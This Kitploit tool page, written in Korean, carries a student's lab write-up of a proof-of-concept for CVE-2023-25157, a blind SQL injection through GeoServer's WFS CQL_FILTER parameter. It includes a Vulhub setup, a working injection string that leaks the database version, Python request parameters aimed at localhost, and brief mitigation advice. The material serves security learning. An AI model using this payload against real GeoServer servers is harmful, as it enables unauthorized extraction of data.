Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
geoserver-CVE-2023-25157 — CVE-2023-25157에 대한 개념 증명 익스플로잇으로, GeoServer의 WFS CQL_FILTER 매개변수에 존재하는 블라인드 SQL 인젝션 취약점을 통해 인증 없이 데이터를 추출할 수 있습니다. | Kitploit
도구/GitHubGitHub/custiya/geoserver-cve-2023-25157
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

CVE-2023-25157에 대한 개념 증명 익스플로잇으로, GeoServer의 WFS CQL_FILTER 매개변수에 존재하는 블라인드 SQL 인젝션 취약점을 통해 인증 없이 데이터를 추출할 수 있습니다.

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

geoserver CVE-2023-25157

화이트햇 3기 [30반] 김정우


github 링크 - https://github.com/custiya/geoserver-CVE-2023-25157

취약점 요약

  • CVE-2023-25157는 GeoServer라는 오픈소스 지도 데이터 서비스 웹 애플리케이션에 대해 발생한 SQLi 취약점
  • GeoServer 2.22.0 이하의 일부 버전에서 발생
  • WFS(Web Feature Service) 요청의 CQL_FILTER라는 파라미터가 취약함
  • 인증없이 해당 API에 접근 가능하다면 누구든 이용 가능

환경 구성

  • docker compose up -d 커맨드로 테스트 환경 실행
  • http://your-ip:8080/geoserver 로 페이지에 접속 가능
  • 먼저 PostGIS 데이터 저장소가 포함된 기존 작업 공간발견해야 함
  • Vulhub의 GeoServer 인스턴스에는 이미 PostGIS 데이터 저장소가 존재
    • 작업 공간 이름 : vulhub
    • 데이터 저장소 이름 : pg
    • 테이블 이름 : example
    • 사용한 속성 : name

poc.py

  • 위에서 서술했던 내용을 기반으로 sqli 구문을 만든 형태
  • 해당 구문을 request모듈을 사용하여 서버에 전달
  • strStartsWith(name,'x'') = true
    • x 뒤의 '를 하나 더 추가하며 sql 문법 파괴
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • version() 함수는 PostgreSQL의 현재 버전을 반환하는 함수이며, 문자열
    • CAST(... AS integer)는 강제로 정수로 변환하므로 오류가 발생
    • 서버는 에러 메시지를 반환하게 되어, Blind SQL Injection 테스트가 가능
root@kitploit:~
# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}

결과

Alt text

정리

  • 해당 poc를 통해 SQLi의 발생 여부를 알아 볼 수 있었다. 공격자는 SQL 쿼리를 통하여 시스템 정보들을 수집할 수 있을 것 같다.
  • 해당 공격을 막기 위하여, 사용자 입력값 검증이 필요이 추가되어야 한다. 또한 입력 받은 SQL 구문을 바로 번역해서 사용하는 것이 아니라 별도로 저장하여 사용하여야 한다.
도구 다운로드